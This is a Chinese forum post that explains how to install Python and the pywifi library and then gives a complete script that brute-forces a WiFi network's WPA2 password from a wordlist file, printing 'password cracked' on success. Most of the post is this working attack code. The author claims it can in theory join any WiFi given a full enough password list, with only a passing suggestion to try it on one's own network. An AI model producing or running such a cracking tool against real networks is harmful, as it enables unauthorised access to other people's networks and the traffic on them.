本帖最后由 Reer 于 2024-1-15 18:50 编辑
微信图片_20240115180606.png (204.44 KB, 下载次数: 1) 下载附件
2024-1-15 18:07 上传
python环境安装
访问Python官网,点击downloads按钮,在下拉框中选择系统类型,选择下载最新版本的Python,没有版本要求的话,尽量使用最新版本前几个版本,避免新版本的不稳定。双击下载好的Python安装包,勾选左下角"Add Python 3.7 to PATH"选项,然后选择"Install now"立刻安装Python,默认安装或自定义安装。打开命令窗口,使用“python --version”查验环境是否安装成功。
微信图片_20240115180606.png (33.23 KB, 下载次数: 1)
下载附件
2024-1-15 18:27 上传
下载安装pywifi库
[Bash shell] 纯文本查看 复制代码
pip install pywifi猜测连接wifi
以下对整个连接程序主要部分进行讲解,最后提供完整的连接程序,可以使用自己的wifi网络进行连接尝试,密码本先填写几个错误密码,最后再写入正确密码,试验是否成功连接wifi,只要密码本够全,理论上可以连接所有wifi。注意一行表示一个可能性密码。
创建一个无线对象,获取无线网卡
[Python] 纯文本查看 复制代码
#抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0][Python] 纯文本查看 复制代码
#创建WiFi连接文件 profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="WiFi名称" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP[Python] 纯文本查看 复制代码
#读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="wifi_pass.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() #尝试连接wifi bool = wifiConnect(pad) if not pad: break if bool: print("密码已破解: ",pad) print("WiFi已自动连接!!!") break else: #跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ",pad) except: continue[Python] 纯文本查看 复制代码
# coding:utf-8 import pywifi from pywifi import const import time #测试连接,返回链接结果 def wifiConnect(pwd): #抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #创建WiFi连接文件 profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="****_Wi-Fi5" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") #读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="wifi_pass.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() #尝试连接wifi bool = wifiConnect(pad) if not pad: break if bool: print("密码已破解: ",pad) print("WiFi已自动连接!!!") break else: #跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ",pad) except: continue readPassword()
微信图片_20240115180606.png (54.36 KB, 下载次数: 1)
下载附件
2024-1-15 18:26 上传
查看全部评分